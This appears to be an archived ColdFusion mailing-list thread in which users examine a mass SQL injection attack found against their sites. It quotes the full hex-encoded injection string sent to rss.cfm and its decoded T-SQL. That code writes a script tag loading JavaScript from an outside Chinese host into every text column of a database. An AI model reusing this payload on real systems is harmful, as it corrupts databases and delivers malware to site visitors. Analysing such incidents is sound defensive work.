Brad, This took care of part of the issue... but not all. I get this error:
Msg 8152, Level 16, State 13, Line 1 String or binary data would be truncated. The statement has been terminated. Does anyone know what I need to do to get around the error above? thanks! >Works great for me. You have to remove the extra line breaks though. >Here is what it does: > >DECLARE @T varchar(255),@C varchar(4000) > >DECLARE Table_Cursor CURSOR FOR >select a.name, >b.name >from sysobjects a,syscolumns b >where a.id=b.id >and a.xtype='u' >and (b.xtype=99 >or b.xtype=35 >or b.xtype=231 >or b.xtype=167) > >OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C >WHILE(@@FETCH_STATUS=0) > >BEGIN > exec('update ['[EMAIL PROTECTED]'] set ['[EMAIL PROTECTED]']=['[EMAIL > PROTECTED]']+''"></title><script >src="http://1.verynx.cn/w.js"></script><!--'' >where '[EMAIL PROTECTED]' not like ''%"></title><script >src="http://1.verynx.cn/w.js"></script><!--''') >FETCH NEXT FROM Table_Cursor INTO @T,@C >END >CLOSE Table_Cursor >DEALLOCATE Table_Cursor > > >Did you read the blog I posted? It explains it all. > >Tried printing the code in SQL Analyzer and got nothing. Can anyone >translate it to text? Not sure what I am missing. > >/rss.cfm?';DECLARE @S CHAR(4000);SET >@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 >6861 >72283430303029204445434C415245205461626C655F437572736F7220435552534F5220 >464F >522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563 >7473 >20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420 >612E >78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797065 >3D33 >35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5045 >4E20 >5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F >4375 >72736F7220494E544F2040542C4043205748494C4528404046455443485F535441545553 >3D30 >2920424547494E20657865632827757064617465205B272B40542B275D20736574205B27 >2B40 >432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372 >633D >22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C >212D >2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746974 >6C65 >3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A >7322 >3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D202054 >6162 >6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C65 >5F43 >7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS >CHAR(4000));EXEC(@S); > >it! > >Huh... Learn sumptin new every day. That is why I keep coming back here. >;) > >Thanx Brad. > >~G~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309412 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4